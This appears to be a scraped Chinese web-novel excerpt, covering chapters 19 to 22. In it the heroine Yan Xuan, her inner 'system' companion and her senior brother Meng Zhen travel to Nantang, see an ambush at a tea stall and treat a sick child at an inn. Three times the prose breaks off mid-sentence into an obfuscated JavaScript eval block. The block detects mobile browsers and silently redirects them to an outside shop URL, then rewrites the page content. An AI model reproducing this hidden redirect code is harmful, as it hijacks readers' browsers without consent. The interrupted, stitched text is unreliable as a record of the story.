晏璇问小九:【这下看不出了吧?】 小九:【看不出。宿主,之前太危险了,要是孟珎没来,你就要被那个神经病掐死了。】 晏璇冷哼:【他不会那样杀我的。他若真想我死,一早让他的手下动手了。之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13289424|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以把我抓去,神神叨叨一番,不过想得到某种情感释放,我一句‘你是谁’他便要杀我,你小瞧了这种人。】 小九担心道:【现在怎么办?他肯定还会找来。】 晏璇掂量着手里的药瓶:【他要来我未必在原处等。我只怕……爹娘他们……】 她在雾山时没发生什么,回了斛县很快就有人找上门来,到底从何时被人盯上的呢?晏璇又将一些异常事件从头细细捋了一遍。 她手上捏着一颗黑色药丸:【不过,那个人估计很快顾不上找我……】 小九疑惑:【宿主怎么知道?】 晏璇笑了一下:【他让我痛,我也让他痛一痛,礼尚往来。】 小九:【……】 它该知道的,它的宿主不会站着任人欺负。 晏璇把自己收拾妥帖,出了屋子,她在院子前后找了一圈,既没看到孟珎,也没看到林叔,问小荷也是摇头不知。 “小姐,喝姜汤,夫人吩咐的。”小荷端来一个瓷碗。 晏璇端过喝了两口,问道:“我娘他们在屋里吗?” “夫人和老爷,在谈事,不让人打、打搅。” 晏璇点点头,自个穿过葫芦门到了晏时蕴他们住的院子。她走到屋门前,隐隐约约听到里头的谈话声,欲敲门抬起的手缓缓放了下去。 晏璇轻手轻脚后退两步,转身饶过假石走到一丛湘妃竹旁,支摘窗半开,屋子里的说话声清晰传来。 “时蕴,这些日子来我的右眼一直跳,心里总是不安。今日听阿璇不见了,我就觉得有什么不该来的要找来了。”卢晚茵忐忑道。 晏时蕴轻叹:“阿茵,你不要太过多思。” “不是我多思,你听我细讲。前些日子家里丢了阿璇的一幅画,我本不愿多想。可之前我和阿璇上街,首饰铺的董老板说有人来打听一副珍珠耳坠的下落,那耳坠我原本也有,就在,就在去了……郦城后不见了,前后哪有如此巧的事。” 郦城……晏璇默默记下。 晏时蕴:“这……时隔十多年,会不会记差了?” 卢晚茵气急:“没记差,是、是你老糊涂了!那耳坠是我俩成亲时特意定的,这么重要的东西我怎么记错。” 晏时蕴默了片刻道:“你说有人顺着耳坠找来了……” “我不敢肯定。今日阿璇回来,你听她说被人骗去买什么玉石,你可信?她就算不是我生的也是我养的,哪句话真哪句话假我还能听得出。” 晏璇:“……” 晏时蕴沉声道:“若想认回阿璇,大大方方地来,暗地里使些手段的绝不是什么君子。阿茵,你还记得当年我们是怎么发现阿璇的?” “记得,都将人埋进了荒山地里,哪会想着十几年后找来呢?那襁褓我还留着,簇新的缎子,一看也不是普通人家的,如此可气、可恨!” “孟先生说她的病就是幼时娘胎落下的,养了这么多年才缓过来,想来认人我决计不会同意的。” 原来爹娘是以为她的亲生父母找来了,师父也没有全部告知自己身体的真相…… 晏璇默默退开几步,爹娘不知道一些事也好,她身上的旧仇恩怨没必要牵扯到他们身上。也幸亏孟珎救她时没有暴露他们之间的关系,那么她在那人眼里不过是个普通的病小姐,一切都有准备的余地。 晏璇不动声色地回了自己院子,见孟珎垂首等在院门口。 “师兄,你去了哪?”晏璇上前问道。 孟珎抬头,转身看她:“随处看了看。” “师兄,师父说——” “师妹,那别院——” 两人同时开口,晏璇一顿,笑道:“师兄先说。” 孟珎神色有些凝重:“我重回了别院,那里已经无人。眼下,我要前去南塘,凡事你自己要多小心,林前辈武功高强,你不可离他太远。若有什么不便,切记不要独自犯险,若遇到——” 这寡言少语的家伙也有滔滔不绝的一天,晏璇感慨,脸上想笑却笑不出,她喊了一声“师兄”打断了他的絮叨。 “师父让你去南塘治病救人,我身为他的二弟子,可不能错过这种大事。” “他老人家总没说我不准跟去吧?” 孟珎愣愣道:“……没有。” “那便好。”晏璇背着手点点头,朝他勾起嘴角。 “一起去南塘吧。” 20. 第 20 章 一夜休整,水汽褪去,晨曦初露,空气中满是青草与泥土的味道。城外古庙的晨钟响起,无数飞鸟掠空,随着荡涤人心的悠远钟声,候在路边多时的两匹黑马迈开了蹄子。 梅玉彦手托着个黄花梨木盒从东街出,贴身小厮梅石正寻来,见了梅玉彦忙上前附耳几句。 梅玉彦垂着眸听完,点点头道:“找几个机灵点的盯着,动静别太大引人注意。” 梅石点头应下,顺便接过他手上的木盒。他瞄了眼梅玉彦的神色,迟疑着问:“少爷没在晏家多待一会?晏小姐赖床又将您赶出来了?” “她……”梅玉彦怔愣了几许,抬眸间见一熟悉身影,一着素色罗裙的女子从对面街边走来。 梅石沿着梅玉彦的视线看去:“咦,是大少奶奶。” 这回,梅玉彦没眼花了。只是,大嫂怎么这个时辰在街市上? 见了家人自是要招呼,梅玉彦转了方向走上前去。 “嫂嫂。”梅玉彦喊道。 玖筱筱避着行人埋头向前,听到声音一愣,转头道:“二弟?” 梅玉彦露出一点笑,朝她身后望了望:“嫂嫂怎的一大早在这?身边也没带上个丫头。” “一点小事儿。”玖筱筱笑叹一句,她提过手里挎着的竹篮,“喏。” 梅玉彦低头瞧了瞧:“这是?” “前几日,你大哥说好久没吃马蹄糕了。这里就属杨家铺子做的最好吃,生意太好,我只得早些过来。” “这种事,嫂嫂吩咐家里的小厮跑一趟便可。” 玖筱筱抬手掩唇轻咳一声,面有羞涩:“一会,我直接带到铺子去……见玉尧。” 梅玉彦突觉得牙酸,也不知他大哥哪里修来的福分。 “二弟,你这是去见过晏姑娘了?”玖筱筱问。 “嗯。”梅玉彦点点头,而后微叹了口气,无奈笑道,“不过晚了一步,她一早出城了,说是有事要回她师父那。” 玖筱筱见他一脸风轻云淡,可眼神黯淡,话语里便有了一股淡淡的落寞。 “你……” “哦,对了。”梅玉彦示意让梅石把木盒递过来,“这是阿璇走之前交待要给嫂嫂的,约莫是一些药和调养方子,我替你拿了过来。” 玖筱筱接过木盒托着,指腹在盒盖上拂过,感慨道:“晏姑娘是个好女孩,我都没来得及谢谢她,稍后我备份礼先送去晏家。” 梅玉彦伸出折扇摇了摇:“等下次她回来,嫂嫂请她吃顿梅花酥饼便可。她啊沾上那些个你来我往的人情世故仿佛有什么东西在身上爬,讨厌得很。” “好了,我也不耽误嫂嫂了。”梅玉彦促狭地看她,“店里还有些事我过去处理。” “好。” 玖筱筱站在原地,面上的客套已褪,双眼沉静地看着梅玉彦渐行渐远。她原以为那两孩子是有些缘分的,眼下一位身边有个占据天时地利人和的存在,一切都难了。 所谓一步错过,步步错过。 不过,想到梅夫人,玖筱筱不觉哂笑,或许身世更简单一点的女孩才适合他们家这个二弟。 她往出城的方向回眸一眼,也不再停留很快消失在街角。 天气放晴,可昨日的一场雨导致路上泥泞不堪,骑马上路并没有走得多快。 晏璇在云边小镇的时候学过骑马,等真正上路才知道有多难,不过行了几十里路,她的大腿内侧就磨得生疼。 孟珎骑行在前头,身上背着两个人的包袱,时不时会回头看一眼晏璇。清晨出发之时,她的脸就有些发白,她说是没睡醒因为很久没有这样早起。此刻,经过小半天的策马赶路,她的脸色愈发不好了。 孟珎拉住缰绳别了别马头,马儿步伐渐缓。 晏璇有样学样,勒住缰绳跑到了孟珎身边,两匹黑马齐头并进,悠悠地走在路上。两人均头戴斗笠,一身浅色利落长衫,远瞧着确实像某门派弟子出行。不过,孟尧有所交代,在外行事他们不可暴露师父名讳以及雾山一切。 孟珎侧头看她:“前面不远有个茶棚,歇一会再走。” 晏璇知道她拖延了不少时间,是以一路上未抱怨半句,现下正好能喘口气。 土路旁支着一面旗幡,写着“茶”字,一个简易的木棚顶,摆放着五六张小桌,茶棚主人是一对爷孙。 晏璇二人寻了张角落的桌子坐下,小男孩过来帮忙擦了擦沾上尘灰的桌面。 “两位客官,想要吃点什么?” 孟珎解了头上斗笠放在一旁,说道:“只要一壶清茶,麻烦。” 小孩咧嘴笑笑:“不麻烦,不麻烦。” 晏璇腿下哆嗦,手上无力,拿了块帕子垫在桌上,她便头朝下整个人趴着不动了。 “师妹?”孟珎转头一见知她定是累着了。 想到昨日在翠竹丛下,疏影摇曳,暗香浮动,她双眸清亮地望着自己,他便愣了神失了心,等理智回笼却已是答应了她的请求。他知道,她想跟着他离开不过是要化被动为主动,不想连累了爹娘…… 晏璇侧了头露出埋在手臂间的脸蛋,嗡嗡道:“我知道自己体力差了些,没想到也太无用了。师兄,我想吃酥饼,但是我不想动……” 见她有胃口就好,孟珎舒了口气。他从马鞍上解下一个包袱,这里面单独放了晏璇喜欢的吃食,小小的木盒制作精良分了好几层。孟珎分别取了酥饼和一些小甜点放在她的面前,又问道:“熟食肉干要不要吃?” “师兄吃吧,我只想吃甜的。” 孟珎点点头,把食盒放了回去。 粗茶很快端了上来,晏璇拿杯的手瑟缩了一下,握缰绳磨出的红痕,指头上未愈合的伤口,在一瞬间像是电刺一般。 孟珎问:“怎么了?” 晏璇摇摇头,她重新端起杯子喝了一口,视线往周遭扫去。除了在棚下忙碌的老人,周围三三两两坐了几个路过歇脚的大汉,在左前方有个一直戴斗笠的青衣男,桌边靠着一把泛着冷光的长柄大刀。 要是花奕在,定能说出这把刀的来历。 晏璇咬着点心,侧耳听着右手方两个人聊八卦。 “再过三个月就是武林大会了,今年的丰州可有的闹了。” “毕竟要重新选任新的盟主,连我们那样的小门小派都收到了请帖。” “陈晟眼看着要退位了,又冒出姓殷那小子来搅事。” “江兄此言差矣。当年各门派可没说盟主之位不能连任,若是雷霆山庄把姓殷那畜生拿下,机会不是更大。” 晏璇:“……” 要不说江湖中人有时很是质朴,讲究光明正大,管你正派反派,都喜欢大声密谋。 孟珎在她面前轻敲了下桌面,给她一个“不要多管闲事”的眼神。 晏璇嚼了嚼嘴里的点心,拿起一块核桃糕递给孟珎,笑道:“师兄,吃。” 旁边那两人喝了口茶,又开始继续闲聊。 “听说最近还出来个叫什么玄的药师,一颗九花凝露丸救了灵山派大弟子一命。” 玄……药师,晏璇的眼睛一下亮了。 “真这么厉害?比阆苑山庄的白芨还厉害?” “东西从品贤阁出来的,现在好多人都想找到这个玄师。” “武林大会在即,无怪乎有人要弄些宝贝傍身。” “江兄,你说我们有没有这个际遇遇到大师,然后也得些灵丹妙药?” “那还是多精进自己的剑术来得实际。” “哈哈哈,你说的对。” “……” 没想到,玄师这名头还真在江湖中传开了。只是,九花凝露丸…… 晏璇看了眼孟珎,她抬手摸摸脑袋,不记得自己有取这种丹药名字,难道是她用了九种药花配的养元丸?若是真的,这品贤阁不愧是做生意的地方…… 忽然一旁还在谈笑的人噤了声,茶棚里一瞬安静下来。 晏璇抬眸去看,只见一个身穿黑色斗篷,脸上蒙着黑色纱巾的人走进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13313465|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶棚,那人步态轻盈,似一团雾飘过,坐在了正中的位置。此人打扮实在怪异醒目,茶棚中的人都不由自主投去视线。 小男孩无察觉般走上前去:“这位客官,您要吃些什么?” 那人低着头,抬手在桌上一角比划着写下一字。 “好嘞。”男孩看了眼,很快端上一壶茶。 那人倒了一杯水,茶杯被送到嘴边,就在纱巾要被揭开刹那,只听茶棚老人一声大喝:“恶徒,受死!” 他的声音醇厚,中气十足,分明是由一个青年男子假扮。 黑衣人旋身而起,手中茶杯掷出射在茶棚主人挥出的长剑之上,杯身碎裂,瓷片四散。 一旁的男孩手持铁锤一跃而起,一直坐着未吭声的青衣男也动了,他提起大刀,一个重劈下落,和男孩齐齐攻向黑衣人。 一时间,桌凳翻滚,飞沙走石,一片黄沙中只见几道灰白黑身影缠斗在一处。 “是、是殷、殷数,那黑衣人是殷数!”有人喊道。 “武林败类,人人得而诛之!” 晏璇被孟珎拉着躲开了乱斗中心,其他人除了趁乱跑远的,俱都拿起武器加入战局,晏璇看到那两个闲聊的家伙也持剑围了上去。 才离家半天,就围观了大型斗殴现场。 晏璇拿起斗笠挡在面前,一是这里的尘土被搅得乱飞,二是她实在不想看到什么血腥场面。 “我们走。”孟珎拉着她去牵马。 一道白线如闪电般“唰”的射向他们面前的地面,若不是孟珎退得及时,那柄还在晃动的铁剑差点将他们串成葫芦。 晏璇惊魂不定,瞪着眸回看一眼,一双冷漠寡情的眼眸同时向下扫来。那人背手立在木桌之上,幽暗如渊,风吹起他的黑色斗篷哗哗作响,地面上横七竖八倒着一堆人,不知是死是活。 孟珎伸手挡在晏璇面前,一脸无惧,冷眼迎向那人。晏璇按了按随身携带的百宝袋,只要那人不是远程攻击,拿下他不是问题。 正当两人聚精会神准备迎敌,那人一甩衣袍,转身施展轻功,如来时般像一团水中晕染开的墨飘散而去。 孟珎和她对视一眼,都读到了对方眼中的疑惑。 “这些人死了吗?”晏璇跟在孟珎后面,见他去查看地上躺着的人。 孟珎挨个按了按他们的脉搏:“没有,是中毒了。” 晏璇点点头,看他们一个个印堂发黑也知不是被那人简单击倒的。 武林恶徒……会在将人毒晕后不补刀灭口吗? 晏璇问:【小九,我是不是越来越暴露本性了?竟然想着补刀杀人这种事。】 小九被她差点吓出不存在的冷汗:【宿主这是旁观者清,你要救他们吗?】 晏璇:【……】 救还是要救的,只是每次都觉得肉疼,全然不是划算的买卖。 晏璇贡献出了她为数不多的解毒丹,加上孟珎的针灸术,地上的人很快就会醒来。这些不省人事的家伙被他们拖放在了一处,旁边是那张黑衣人坐过的木桌,在打斗中已经只剩一角及连着的桌腿,原本用手指抹开尘灰写下的“茶”字就在那裂口处,远远看着像个“杀”字。 风一吹,尘沙再次覆上来,这“杀”字也变得愈加模糊了。 晏璇和孟珎不想惹上麻烦,骑上马继续上路。 系统的嘟嘟声在之后不断响起:【有新的提示:拔刀相助,生命值加0.1%。】 孟珎看向她:“师妹笑什么?” 晏璇摇摇头:“没什么。师兄,南塘是个什么样的地方?” “南塘,我也没去过。” “啊……那我们走的这条路可对?” “应该吧。” “才不是应该!师兄,我看见了哦,你的嘴角翘起来了。” “……没有。” “有。” “……” 你一言我一语,枯燥的旅途也有了趣味,两人两马渐渐消失在夕阳之下。 21. 第 21 章 斛县到南塘并不远,这短短一程,晏璇偶有见到穿着像某门派特制外袍的路人。听孟珎所说,南塘附近就是峋山,峋山派是武林四大派之一,加之南塘富饶,不少帮派在这里有交易往来,毕竟一个门派要养活那么多人可不是靠的练武强身。 过往的晏璇如一只井底之蛙,现在能这样到处走走、切身感受才觉得活着不是一具能呼吸的木偶。按他们总是走走停停的赶路法,大概明日下午能到南塘。在入夜前,孟珎寻了一家客栈入住。 晏璇当即要了一桶热水,当整个人浸泡在浴桶中,除了初时腿侧沾上水有些刺痛,之后便是令人舒畅的喟叹。她将左手搁在桶缘上,右手轻解缠在左手腕上的一圈纱布,一道半截指长的伤口横在腕内侧,血色渗出,伤口周遭结了血痂,连着纱布也黏连住了。 晏璇垂着头,用热水小心化开,再用帕子清理干净,之后再拿过放在桶边的药膏重新上药包扎。整个过程干脆利落,她没吭一声。 脑海内的小九不禁小声道:【宿主,要是痛的话,哼两声也没关系的。】 晏璇顿了顿:【我炼的止痛药还挺好使的。不过,破誓……真的会被雷劈吗?】 小九:【这个……今天晴空万里,什么都没发生。】 晏璇一边穿衣一边道:【我本来不信那套。哪知有一天你出现了,这世上会发什么都不奇怪。仔细说起来,自从你找上我,我的世界可精彩多了,连身世都扑朔迷离起来。】 小九:【……】 晏璇:【所以,你不会有什么瞒着我吧?】 小九在脑海中缩成了小小一团:【没有的,宿主,都是偶然事件……】 晏璇点点头:【好,姑且信你。当初你来时同我说是为了协助我获得生命值,这么多年一直忘了问你,你离开的条件又是什么?】 小九:【宿主不在了,我便不在了。】 晏璇:【哦,那你可得再忍受我几十年。】 小光团似乎变大了点:【宿主,再多几年也无妨。】 晏璇挑挑眉:【我尽量努力。】 晏璇重新绑了头发,插上那支挂着小葫芦的木簪子。她走到桌边坐下,清点着竹青色百宝袋里的东西,各色不同药用的小药瓶,一只绣花香囊,一小袋零嘴干果,还有一枚玉铃铛。 玉铃铛?晏璇捏着它端详了会,终于想起这是下山救人时在那人身上顺走抵药钱的。师兄身上挂着银铃铛,她现在有一枚玉铃铛,外人会不会觉得他们是铃铛教派的?晏璇笑了笑,颇觉有意思,在包袱里找了找,翻出一根彩线将铃铛绑在了腰间。 窗户边传来咔哒轻响,她回头望去,原是窗户没关严实被风吹开了少许。晏璇起身关好窗户,带上门下了楼。 孟珎已经点好了饭菜坐在楼下,等晏璇落座,膳食被端了上来,虽是荒野小店,食材还算新鲜。 一天奔波,总算能吃些热乎的,晏璇也不挑嘴,能吃多少算多少。 见她双颊微红着吃得香,孟珎打消了心中的疑虑。只是,始终注视着她的孟珎也一眼发现了晏璇腰间挂着的铃铛。 孟珎蜷了蜷手指,踟蹰道:“师妹……” 晏璇咽下嘴里的一块嫩豆腐,抬头看他:“怎么了,师兄?” 想说的话在喉间滚了几圈,心口像被人始终抓按着,憋闷难当,孟珎微垂了眸子:“那日,为什么留下了银铃?” “银铃?”晏璇望着他,视线下落到孟珎腰间,“哦……那天我醉糊涂了,竟然扯断了师兄的东西,走时又太匆忙,都没来得及跟你道歉。” “你……不记得了?”孟珎的声音变得有些空茫。 “什么……”晏璇微睁了眼,难道那天她还做了什么,自己真是全无印象。 晏璇在脑内求助小九:【小九,你记得我那天喝醉有发生什么吗?】 滴滴滴的机械音响过,小九道:【嗯,发生了挺多事,宿主想知道哪个时间段的?】 离谱,还分哪个时间段的…… 晏璇顾不得许多,忙道:【快挑我师兄的简单说说。】 小九“哦”了声:【宿主先是抱着他说了许多话,然后回屋的时候突然说要吃面,等他煮完面,宿主又说要去看月亮花,把人拖到山崖前开始唱歌,等唱完了歌——】 晏璇:【停停停!先别说了……】 有关铃铛的事没说到,扯出了其他一堆乱七八糟的,她的脑壳有些疼。 晏璇小心观察了孟珎的神色,见他有几分低落,尝试开口道:“师兄,我那天脑袋昏得很,如果有答应你什么没办到的,你别生气,尽管再说与我听。” “我……没有生气。”孟珎浅笑了一下,袖中的手指掐着掌心,“你有了新的玉铃铛也好,和你这一身很配。” “嗯?”晏璇微微后仰,看了眼自己腰间。 “我见师兄挂着,我也便挂了,这东西还是我从某个落魄鬼身上顺来的,救他费了我不少心血,师兄不会怪我贪财心术不正吧?”晏璇小声嘟囔道。 孟珎呆愣着眨了眨眼:“你说什么?” 晏璇探过身去,扭捏不安道:“我……从那人身上偷拿抵药钱的,不过我留了名。” 虽然是玄师的名头。 孟珎凝视着她看了许久,晏璇知他平时冷淡寡言,为人却很正直,此番不知是不敢置信还是气恼,盯得她真有些惴惴的。 良久,晏璇听他说道:“拿了便拿了吧,一命值千金。” 晏璇心里涌出几分喜悦,也不知这种情绪该不该,想着他若是真的生气也没什么,自己本就不是什么好人,可就是会有一丝失望。 晏璇沉吟了一会:“等有机会,我再把东西还回去。” 莫问楼名气那么大,找一个人不是问题。 “师兄,你说的银铃铛到底是怎么回事?我真不记得了。” 孟珎从腰间解下那枚铃铛,放到晏璇面前:“那日……你说想要这个,我已经应了你。” 晏璇想,那日他不想应也得应。她虽然不记得事发经过,可还记得当时拽在手里的还有一根扯烂的线头。 晏璇不好意思笑笑:“师兄戴着它已有十来年,这定是很重要的东西。我那天是糊涂人干糊涂事。” “现在的它……对我来说,只是一样普通挂件而已。”孟珎看了一眼望向晏璇,“你拿去便是。” 他的眼神分外柔和,并无勉强,晏璇不想再次扫了他的兴,拿过铃铛将它系在了自己腰间。 左右看了看,总觉得哪里不相称,她将玉铃铛解下放回了百宝袋,这才点了点头觉得顺眼多了。 “师兄,下回我再找人做个金的,金银凑一对,刚好。” 孟珎不敢多思,只微微弯了嘴角:“你喜欢便好。” 两人茶足饭饱正准备上楼去休息,楼梯上传来一阵喧闹声,只见十来个人纷纷从楼上下来,本有些空荡的大堂一下站满了人。 其中一个穿着宝蓝色锦袍的男子最为瞩目,他微挺着肚腩站在人群中,皱着眉朝着身边的小厮不耐道:“不是说膳食都准备好了吗?” 小厮躬身弯腰,抹了把额头的冷汗:“老爷,好了,确实好了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13341113|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客栈掌柜适时笑迎上来:“大老爷,稍安勿躁,膳食都准备妥当,就等各位入座了。” 男人哼了声:“见我们下来,就该上前打点,没点眼力见。” “啊,小店粗陋,招待不周,见谅,见谅。” “确实粗陋,算了,上菜吧。” 等男人坐下,身边的家眷才跟着落座,其他的小厮随从坐了一桌,另外一桌坐着三个高大的汉子,俱是一脸餐风饮露的坚毅轮廓,一柄红缨枪就搁在桌旁。 突然一道凛冽视线射来,晏璇惊了一跳,假意举杯喝了口茶,垂了眼眸。 “同哥,怎么了?有可疑人物?”晏璇听一人问道。 “没有,乳臭未干的小孩。无事,吃饭吧。” 那人声音低沉浑厚,宛如一把古琴流泻出的婉转琴音,好像……从前在哪里听到过。晏璇端着杯若有所思,眼睛不自主向旁边瞥去。 孟珎轻问:“怎么了?” 晏璇摇摇头:“可能是我听错了……师兄,我们上去早点休息吧。” “好。” 两人起身离座,只听“啪”的一声,有人在桌上重重一拍。 “有毒!”是那蓝袍男子的声音,他突地大喝一声。 惊呼声起,那三个高壮汉子最先起身,拿起武器围在蓝袍男子身边,其中一人道:“哪里有毒?” “是我儿……”旁边梳着妇人髻的女子扶抱着一五岁左右的幼儿,惶惶道,“他说腹痛,一下子就吐了出来。” 那桌面上果然有一摊秽物。 掌柜闻声忙赶了过来:“大老爷,这是怎么了?” “怎么了?你竟敢下毒毒害我们,果然是一家黑店!”蓝袍男抖着手,对旁边一直冷眼看着的男人喊道,“同镖头,还不快快拿下此人,让他交出解药!” 晏璇拉了拉孟珎衣角,比着口型:根本没有毒。 孟珎拧着眉,拉过晏璇推着她往里走。 “慢着!”红缨枪瞬地刺出,伸到了他们面前,三人中的余下一人道,“若真有人下毒,谁都不许走。” 晏璇:“……” 就不该贪那一眼,早早离开一点屁事没有。 “下毒?”掌柜倒吸一口冷气,大喊冤枉,“我的青天大老爷,给我们十个胆子也不敢对您下毒啊。再说,小人真要下毒,怎的偏偏只对您的公子下手?” 旁边的人左右互看,确实都安然无恙。 掌柜欲再开口,那个被称作“同镖头”的男人抬了抬手,对着小孩道:“除了腹痛,你还有哪里不适?” 男孩虚弱地摇了摇头:“恶心想吐。” 蓝袍男急得不行:“儿啊,你可要撑住啊。同镖头,你得想个法子,我花了那么多钱请你们来,可不是吃干饭的。这厮不敢承认下毒,你也得给我找个大夫来,要是我儿子出了什么事,我绝不会放过这里任何人。” 同镖头两眼一翻,忍着不耐道:“他没有中毒。掌柜的,麻烦煮一碗山楂水来。” “啊,哦,好的!”掌柜赶紧吩咐了伙计去办。 “同镖头你又不是大夫,你们拿钱——” 那蓝袍男还要喋喋不休,手持红缨枪的男子将枪“哐”的一下竖在了他面前,冷声道:“我同哥说没有就没有。” “你、你们……”蓝袍男后退两步,拽过身后随从,“你们还看什么戏,将他们都——” “稍等。”晏璇掏了掏快被震聋的耳朵。 “我哥哥是大夫,让他看一看便知是不是普通腹痛了。” “再闹,孩子可要痛死了哦。” 22. 第 22 章 晏璇刚到雾山的时候,她和孟珎不过差了半个头的身长。等孟珎过了十六岁,他的身高就像冒尖的笋开始疯长,现在晏璇只够到他的肩头。 她戳了戳孟珎的后腰,从他背后探出头来,眯着眼笑道:“不若让我哥哥瞧一瞧,他是我们那有名的大夫。” 孟珎低着头轻瞥她一眼,知她要趟这趟浑水,不会放着那小孩不管。他抖了抖衣袍,双手轻抬,从袖口取出针包托在手里:“请允我给小公子诊脉。” 众人见他年纪轻轻,容色沉静,眉梢上还横着一道疤,与一般平和的大夫可不一样,蓝袍男当即竖起了眉。 然而,心疼孩子的绝大多数还是做母亲的,妇人向孟珎微微行礼道:“小先生果真是大夫?请快快替我儿看上一看。” 孟珎自然不怕这家主人,不过是先礼后兵,他向晏璇点了点头,上前一手扣住男孩的手腕把着,一边按抚着他的肚腹。 那三个壮汉,晏璇猜测是聒噪男请来的镖局镖师,俱都退开为孟珎让路,她便站在孟珎身后看他施针。 这些人不放心孟珎,可见晏璇嗓音温和,柔柔弱弱,也就不去想这荒野地哪来的普通大夫。 “小公子该是用膳前吃了不少其他谷物零嘴,食物间偶有相克,是以引发腹痛,之后可喝些山楂水调理。”孟珎道。 晏璇从百宝袋里取出一颗消食丸递过去:“吃了这个,好得更快些。” 不料,侧方冷不防伸来一只手把药丸先一步夺了,孟珎拿了个空,瞬间凝眉冷眸看向手的主人。晏璇愣了一下侧过头去,见那个姓同的男人举着药丸,眼一瞬不瞬地盯着她。 他身材高大,一张端正脸庞轮廓分明,鼻梁高挺,嘴唇紧紧抿着,须发有些杂乱,麦色皮肤彰显野性阳刚之气。他的眼神太过露骨,像是照进黑暗中的一束冷光,晏璇如同被盯上待拷问的疑犯。 “这只是普通的消食丸。” 男人恍若未闻,仍是盯着她的眼睛。 晏璇:“……” 他爱拿着就拿着吧,那小孩少吃一颗药也无事。晏璇默默收回了伸出的手。 此时男孩被孟珎施过针,脸色显然好了许多,大老爷顿时不悦道:“同镖头这是作甚?难道是丹药有问题?可不要耽误了我儿的治疗。” 姓同的斜瞥回去,吓得蓝袍男胡须抖了三抖,一想到自己才是花钱的主,又挺起腰昂了昂头。姓同的未把他放在眼里,他将消食丸重新交到孟珎手里,道:“好东西。” 晏璇只觉眼前一暗,挺拔的身影挡在了她面前,入目是灰黑色的袍子。她抬头去看,男人垂目幽幽地看着她。 手臂被人拉着向后退去,孟珎走至两人之间,拱了拱手道:“不知前辈有何指教?” 男人视线仅扫了他一眼,又看向晏璇:“我乃长兴镖局的镖师同珩,不知姑娘怎么称呼?” 孟珎回道:“舍妹与我只是路过,小名小姓,不足挂齿。” “救人性命怎能算是小事。”同珩哼笑了声,“是吧?谭老爷。” 谭大老板重咳两声:“啊,嗯,既是帮了我儿,自是要回报二位的。至于报酬……” 他将晏璇和孟珎两人来回打量个遍:“两位是想要些盘缠,还是要些华服美玉?做人切记不可贪多哦。” 晏璇立时在心中冷笑两声,爱财如命不过如此,世上的人都是要觊觎他害他的。 “救死扶伤是医者本分,不敢谈什么报酬。”晏璇牵过孟珎的手腕,“明日我们还需赶路,就不多打搅了。” 说罢,晏璇头也不回地拉着孟珎跑上楼,没人再来无缘无故拦路。 同珩一直注视着她,直到她消失在二楼走廊。 走至房门口,孟珎问晏璇:“师妹,你可曾见过那姓同的?” 晏璇在脑海中搜寻半天,确定道:“没有印象。” 可那人看晏璇的眼神并不简单,有一种怀恋的固执,孟珎不禁想到了最近那个危险的男人。不过不管如何,这次他都会守在她身边。 孟珎向着楼下方向瞥了眼,伸手在晏璇额头点了一下,轻道:“刚刚,你在那个姓谭的身上下了什么药?” “什么什么药?师兄不要胡说。”晏璇摸了下鼻头,笑意却从眼角溢出。 “越发调皮了。”他倒是不讨厌晏璇的做法,觉得她更有生机了,只是偶尔会怕惹上不必要的麻烦。 “师兄,放心,不是害人的东西。” 孟珎微勾了下嘴角:“好,早些休息,有事喊我。” 不多时,有小厮匆匆跑到柜台前,要求掌柜的再去煮些山楂水。掌柜摸了一把头上的冷汗,真是倒了大霉接待了这么个守财大老爷。 晏璇双腿酸痛,在床上翻来覆去睡不着,索性坐在灯下看书,这是师父送她的一本关于以毒入药的心得手札,她与孟珎所长不同,师父因材施教,传授的东西不尽相同。 门口传来轻轻的两声叩门声,晏璇放下手中书册,走至门口,见门上投射着一道高大身影,那双紧盯人不放的眼眸马上浮现在脑海。 晏璇从腰间摸出一根银针藏在指间,站在门后道:“是谁?哥哥?” “姑娘,在下同珩,奉谭老板之令送上诊金。” 你最好是来送诊金的。 晏璇“哦”了声,打开一条门缝,见同珩手里拎着一个素色小布包站在门口。 “姑娘,请收下。” “那,那谢谢谭老板了。”晏璇没拒绝,伸出手接过,还挺沉甸甸的一包。 同珩抵着门框:“还不知恩人姓名,此去前往哪方?或可一起上路有个照应。” 晏璇摩挲着布包上的褶皱,一股淡淡荷花香飘入鼻端。 她笑了笑:“我姓晏,此番和哥哥前去南塘,事态紧急,大概不能与同大侠你们一起上路了。” “既如此,那晏姑娘早些歇息。” 同珩颔首告退,帮她合上了门。 晏璇回身将布包扔在桌上,解开看了眼便走至一旁的木架,伸手进水盆里好好洗了个手。 小九从她背后钻出:【宿主,姓同的可疑,你怎么把行程透露给他了?】 